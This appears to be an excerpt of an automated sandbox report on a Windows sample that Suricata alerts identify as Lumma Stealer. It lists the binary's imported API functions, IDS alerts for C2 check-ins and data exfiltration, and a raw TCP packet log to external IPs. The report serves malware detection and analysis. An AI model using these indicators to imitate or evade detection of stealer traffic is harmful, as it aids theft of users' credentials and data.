GDI32.dll	BitBlt, CreateBitmap, CreateCompatibleBitmap, CreateCompatibleDC, CreateDIBSection, CreateFontW, CreatePen, CreateRectRgn, CreateRectRgnIndirect, CreateRoundRectRgn, CreateSolidBrush, DeleteDC, DeleteObject, GetObjectW, GetStockObject, GetTextExtentPoint32W, LineTo, MoveToEx, Rectangle, RoundRect, SelectClipRgn, SelectObject, SetBkColor, SetBkMode, SetDCBrushColor, SetLayout, SetStretchBltMode, SetTextColor, StretchBlt, TextOutW
KERNEL32.dll	CancelIo, CloseHandle, CompareFileTime, CopyFileExW, CopyFileW, CreateDirectoryW, CreateEventA, CreateEventW, CreateFileA, CreateFileW, CreateIoCompletionPort, CreateMutexW, CreateProcessW, CreateSemaphoreA, CreateSemaphoreW, CreateWaitableTimerW, DeleteCriticalSection, DeleteFileW, DeviceIoControl, DosDateTimeToFileTime, EnterCriticalSection, EnumSystemLanguageGroupsW, ExpandEnvironmentStringsW, FileTimeToDosDateTime, FileTimeToLocalFileTime, FileTimeToSystemTime, FindClose, FindCloseChangeNotification, FindFirstChangeNotificationW, FindFirstFileW, FindNextFileW, FindResourceW, FormatMessageA, FormatMessageW, FreeLibrary, GetCommState, GetCommandLineW, GetComputerNameW, GetConsoleMode, GetConsoleScreenBufferInfo, GetConsoleWindow, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetDateFormatW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetDriveTypeW, GetEnvironmentVariableW, GetExitCodeProcess, GetFileAttributesW, GetFileInformationByHandle, GetFileSize, GetFileSizeEx, GetLastError, GetLogicalDriveStringsW, GetLogicalDrives, GetLongPathNameW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleW, GetOverlappedResult, GetProcAddress, GetProcessAffinityMask, GetProcessTimes, GetQueuedCompletionStatus, GetStartupInfoA, GetStdHandle, GetSystemDirectoryW, GetSystemInfo, GetSystemPowerStatus, GetSystemTimeAsFileTime, GetTempFileNameW, GetTempPathW, GetTickCount, GetTimeZoneInformation, GetUserDefaultLCID, GetVersionExW, GetVolumeInformationW, GetWindowsDirectoryW, GlobalAlloc, GlobalLock, GlobalMemoryStatus, GlobalMemoryStatusEx, GlobalUnlock, InitializeCriticalSection, InitializeCriticalSectionAndSpinCount, IsDBCSLeadByteEx, LeaveCriticalSection, LoadLibraryA, LoadLibraryW, LoadResource, LocalFree, MapViewOfFile, MoveFileExW, MoveFileW, MultiByteToWideChar, OpenEventW, OpenFileMappingW, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, QueueUserAPC, ReadDirectoryChangesW, ReadFile, ReadFileScatter, RegisterWaitForSingleObject, ReleaseMutex, ReleaseSemaphore, RemoveDirectoryW, ResetEvent, SetCommState, SetCommTimeouts, SetConsoleCtrlHandler, SetConsoleMode, SetCurrentDirectoryW, SetEndOfFile, SetEvent, SetFileApisToOEM, SetFileAttributesW, SetFilePointer, SetFilePointerEx, SetFileTime, SetLastError, SetProcessAffinityMask, SetThreadPriority, SetUnhandledExceptionFilter, SetWaitableTimer, SizeofResource, Sleep, SleepEx, SystemTimeToFileTime, TerminateProcess, TerminateThread, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, UnmapViewOfFile, UnregisterWaitEx, VerSetConditionMask, VerifyVersionInfoW, VirtualAlloc, VirtualFree, VirtualLock, VirtualProtect, VirtualQuery, VirtualUnlock, WaitForMultipleObjects, WaitForSingleObject, WaitForSingleObjectEx, WideCharToMultiByte, WriteFile, WriteFileGather, lstrcmpW, lstrcmpiW, lstrcpyW
MSIMG32.DLL	AlphaBlend
msvcrt.dll	___mb_cur_max_func, __doserrno, __getmainargs, __initenv, __lconv_init, __p__acmdln, __p__fmode, __pioinfo, __set_app_type, __setusermatherr, _amsg_exit, _beginthreadex, _cexit, _errno, _fdopen, _filelengthi64, _fileno, _fileno, _fstat64, _getcwd, _initterm, _iob, _isatty, _lock, _lseeki64, _onexit, _read, _setjmp3, _snwprintf, _strcmpi, _strnicmp, _unlock, _vsnwprintf, _wcsicmp, _wfopen, _wfsopen, _wgetcwd, _wmkdir, _wremove, _wrename, _write, _write, _wtoi, abort, atoi, atol, calloc, exit, fclose, feof, ferror, fflush, fgetc, fgetpos, fgetws, fopen, fprintf, fputc, fputs, fputws, fread, free, gmtime, fsetpos, fwprintf, fwrite, getc, getenv, getwc, islower, isspace, isupper, iswctype, iswspace, isxdigit, localeconv, localtime, longjmp, malloc, mbtowc, memchr, memcmp, memcpy, memmove, memset, putc, putwc, rand, realloc, setlocale, setvbuf, signal, sprintf, srand, strcat, strchr, strcmp, strcoll, strcpy, strerror, strftime, strlen, strncmp, strncpy, strrchr, strstr, strtol, strtoul, strxfrm, time, swscanf, system, tolower, toupper, towlower, towupper, ungetc, ungetwc, vfprintf, vswprintf, wcscat, wcschr, wcscmp, wcscoll, wcscpy, wcscspn, wcsftime, wcslen, wcsncat, wcsncpy, wcsrchr, wcsstr, wcstol, wcstombs, wcstoul, wcsxfrm, wctomb
newdev.dll	UpdateDriverForPlugAndPlayDevicesW
ole32.dll	CoCreateInstance, CoInitialize, CoInitializeEx, CoInitializeSecurity, CoSetProxyBlanket, CoUninitialize
OLEAUT32.dll	SafeArrayDestroy, SafeArrayGetElement, SafeArrayGetLBound, SafeArrayGetUBound, SysAllocString, SysAllocStringLen, SysFreeString, SysStringLen, VariantClear, VariantCopy
SETUPAPI.dll	CM_Get_DevNode_Status, SetupDiDestroyDeviceInfoList, SetupDiEnumDeviceInfo, SetupDiGetClassDescriptionW, SetupDiGetClassDevsW, SetupDiGetDeviceInstanceIdW, SetupDiGetDeviceRegistryPropertyW, SetupDiLoadClassIcon
SHELL32.dll	CommandLineToArgvW, DragAcceptFiles, DragFinish, DragQueryFileW, SHBrowseForFolderW, SHFormatDrive, SHGetPathFromIDListW, ShellExecuteExW, ShellExecuteW, StrStrIA, StrStrIW
SHLWAPI.dll	PathFileExistsW, PathGetDriveNumberW, PathRemoveFileSpecW, StrFormatByteSizeW
USER32.dll	AdjustWindowRectEx, BeginPaint, CallWindowProcW, CharUpperW, ClientToScreen, CloseClipboard, CreateDialogParamW, CreateIconIndirect, CreatePopupMenu, CreateWindowExW, DefWindowProcW, DeleteMenu, DestroyIcon, DestroyWindow, DialogBoxParamW, DispatchMessageW, DrawFrameControl, DrawIconEx, DrawTextW, EmptyClipboard, EnableWindow, EndDialog, EndPaint, EnumChildWindows, EnumDisplayDevicesW, FlashWindowEx, GetClassNameW, GetClientRect, GetCursorPos, GetDC, GetDesktopWindow, GetDlgCtrlID, GetDlgItem, GetForegroundWindow, GetIconInfo, GetMenuItemCount, GetMenuItemInfoW, GetMonitorInfoW, GetParent, GetScrollInfo, GetSysColor, GetSystemMenu, GetSystemMetrics, GetWindowInfo, GetWindowLongW, GetWindowPlacement, GetWindowRect, GetWindowTextW, GetWindowThreadProcessId, InsertMenuItemW, InsertMenuW, InvalidateRect, IsDlgButtonChecked, IsWindow, IsZoomed, KillTimer, LoadCursorW, LoadIconW, MapWindowPoints, MessageBoxW, MonitorFromPoint, MoveWindow, MsgWaitForMultipleObjectsEx, OffsetRect, OpenClipboard, PeekMessageW, PostMessageW, PostQuitMessage, RealGetWindowClassW, RegisterClassExW, ReleaseCapture, ReleaseDC, ScreenToClient, SendDlgItemMessageW, SendMessageW, SetActiveWindow, SetCapture, SetClipboardData, SetCursor, SetCursorPos, SetDlgItemTextW, SetFocus, SetForegroundWindow, SetLayeredWindowAttributes, SetMenuItemInfoW, SetScrollInfo, SetTimer, SetWindowLongW, SetWindowPlacement, SetWindowPos, SetWindowTextA, SetWindowTextW, ShowWindow, SwitchToThisWindow, SystemParametersInfoW, TrackMouseEvent, TrackPopupMenu, TranslateMessage, UnregisterClassW, wsprintfA, wsprintfW, wvsprintfA
WS2_32.dll	WSAAddressToStringA, WSAIoctl, WSARecv, WSARecvFrom, WSASend, WSASendTo, WSASocketW, WSAStringToAddressA, freeaddrinfo, getaddrinfo, getnameinfo
WSOCK32.DLL	AcceptEx, GetAcceptExSockaddrs, WSACleanup, WSAGetLastError, WSASetLastError, WSAStartup, __WSAFDIsSet, accept, bind, closesocket, connect, gethostname, getpeername, getsockname, getsockopt, htonl, htons, ioctlsocket, listen, ntohl, ntohs, select, setsockopt, shutdown, socket

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T11:56:11.578646+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.102.49.254	443	TCP
2025-01-11T11:56:12.096510+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49733	104.102.49.254	443	TCP
2025-01-11T11:56:12.691095+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.64.1	443	TCP
2025-01-11T11:56:12.815363+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49734	104.21.64.1	443	TCP
2025-01-11T11:56:12.815363+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49734	104.21.64.1	443	TCP
2025-01-11T11:56:13.296659+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.64.1	443	TCP
2025-01-11T11:56:13.795382+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49735	104.21.64.1	443	TCP
2025-01-11T11:56:13.795382+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49735	104.21.64.1	443	TCP
2025-01-11T11:56:14.845942+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	104.21.64.1	443	TCP
2025-01-11T11:56:27.599440+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.64.1	443	TCP
2025-01-11T11:56:28.095111+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49743	104.21.64.1	443	TCP
2025-01-11T11:56:28.731351+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	104.21.64.1	443	TCP
2025-01-11T11:56:30.316746+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	104.21.64.1	443	TCP
2025-01-11T11:56:31.630210+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	104.21.64.1	443	TCP
2025-01-11T11:56:31.687606+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49746	104.21.64.1	443	TCP
2025-01-11T11:56:34.056316+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49747	104.21.64.1	443	TCP
2025-01-11T11:56:34.507897+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49747	104.21.64.1	443	TCP
2025-01-11T11:56:35.218542+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49748	162.125.66.18	443	TCP
2025-01-11T11:56:36.746076+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49749	162.125.66.15	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 11:56:10.935026884 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:10.935096979 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:10.935189962 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:10.937658072 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:10.937685966 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:11.578567028 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:11.578645945 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:11.583648920 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:11.583693027 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:11.584085941 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:11.639039040 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:11.641046047 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:11.687324047 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.096606970 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.096661091 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.096682072 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.096708059 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.096723080 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.096739054 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.096744061 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.096759081 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.096775055 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.096777916 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.096795082 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.096853018 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.188091040 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.188117981 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.188167095 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.188184023 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.188211918 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.188230038 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.193115950 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.193193913 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.197694063 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.197770119 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.197823048 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.198949099 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.198987961 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.199013948 CET	49733	443	192.168.2.4	104.102.49.254
Jan 11, 2025 11:56:12.199028969 CET	443	49733	104.102.49.254	192.168.2.4
Jan 11, 2025 11:56:12.226080894 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.226129055 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.226211071 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.226543903 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.226572037 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.691025019 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.691095114 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.696866989 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.696883917 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.697263956 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.698589087 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.698622942 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.698687077 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.815361977 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.815478086 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.815556049 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.815562963 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.815588951 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.815630913 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.815675974 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.815860033 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.815918922 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.816015005 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.816036940 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.816051960 CET	49734	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.816057920 CET	443	49734	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.833749056 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.833822012 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:12.833905935 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.834187031 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:12.834222078 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.296566963 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.296658993 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.300295115 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.300324917 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.300736904 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.302069902 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.302134037 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.302181005 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.795391083 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.795509100 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.795548916 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.795582056 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.795591116 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.795604944 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.795701981 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.795728922 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.795746088 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.795847893 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.795875072 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.795882940 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.796303034 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.796329975 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.796339035 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.798743010 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.800121069 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.800223112 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.800254107 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.800261974 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.800446987 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.881927967 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.881997108 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.882035017 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.882061958 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.882072926 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.882138968 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:13.882271051 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.882271051 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.884588003 CET	49735	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:13.884602070 CET	443	49735	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:14.362366915 CET	49736	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:14.362421036 CET	443	49736	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:14.362512112 CET	49736	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:14.362987995 CET	49736	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:14.363008976 CET	443	49736	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:14.845868111 CET	443	49736	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:14.845942020 CET	49736	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:14.847780943 CET	49736	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:14.847795010 CET	443	49736	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:14.848134041 CET	443	49736	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:14.849472046 CET	49736	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:14.849605083 CET	49736	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:14.849642038 CET	443	49736	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:14.849706888 CET	49736	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:14.849716902 CET	443	49736	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:27.039567947 CET	443	49736	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:27.039829016 CET	443	49736	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:27.039907932 CET	49736	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:27.039989948 CET	49736	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:27.040030003 CET	443	49736	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:27.115617990 CET	49743	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:27.115716934 CET	443	49743	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:27.115828991 CET	49743	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:27.116153002 CET	49743	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:27.116183996 CET	443	49743	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:27.599230051 CET	443	49743	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:27.599440098 CET	49743	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:27.600491047 CET	49743	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:27.600512028 CET	443	49743	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:27.600933075 CET	443	49743	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:27.608983040 CET	49743	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:27.609112978 CET	49743	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:27.609158993 CET	443	49743	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:28.095165014 CET	443	49743	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:28.095468044 CET	443	49743	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:28.095535040 CET	49743	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:28.095702887 CET	49743	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:28.095737934 CET	443	49743	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:28.265377045 CET	49744	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:28.265410900 CET	443	49744	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:28.265486956 CET	49744	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:28.265746117 CET	49744	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:28.265753031 CET	443	49744	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:28.731271029 CET	443	49744	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:28.731350899 CET	49744	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:28.732570887 CET	49744	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:28.732582092 CET	443	49744	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:28.732904911 CET	443	49744	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:28.734142065 CET	49744	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:28.734143019 CET	49744	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:28.734183073 CET	443	49744	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:28.734245062 CET	49744	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:28.734253883 CET	443	49744	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:29.350394011 CET	443	49744	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:29.350692987 CET	443	49744	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:29.350778103 CET	49744	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:29.350954056 CET	49744	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:29.350974083 CET	443	49744	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:29.849272013 CET	49745	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:29.849363089 CET	443	49745	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:29.849457979 CET	49745	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:29.849750042 CET	49745	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:29.849790096 CET	443	49745	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:30.316612959 CET	443	49745	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:30.316745996 CET	49745	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:30.318355083 CET	49745	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:30.318382025 CET	443	49745	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:30.319365025 CET	443	49745	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:30.320594072 CET	49745	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:30.320692062 CET	49745	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:30.320704937 CET	443	49745	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:30.740192890 CET	443	49745	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:30.740473032 CET	443	49745	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:30.740556955 CET	49745	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:30.741141081 CET	49745	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:30.741185904 CET	443	49745	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.167813063 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.167853117 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.167948961 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.168271065 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.168288946 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.629936934 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.630209923 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.666641951 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.666657925 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.667574883 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.675342083 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.684968948 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.685022116 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.686753988 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.686810017 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.686909914 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.687380075 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.688071966 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688101053 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.688231945 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688261986 CET	443	49746	104.21.64.1	192.168.2.4
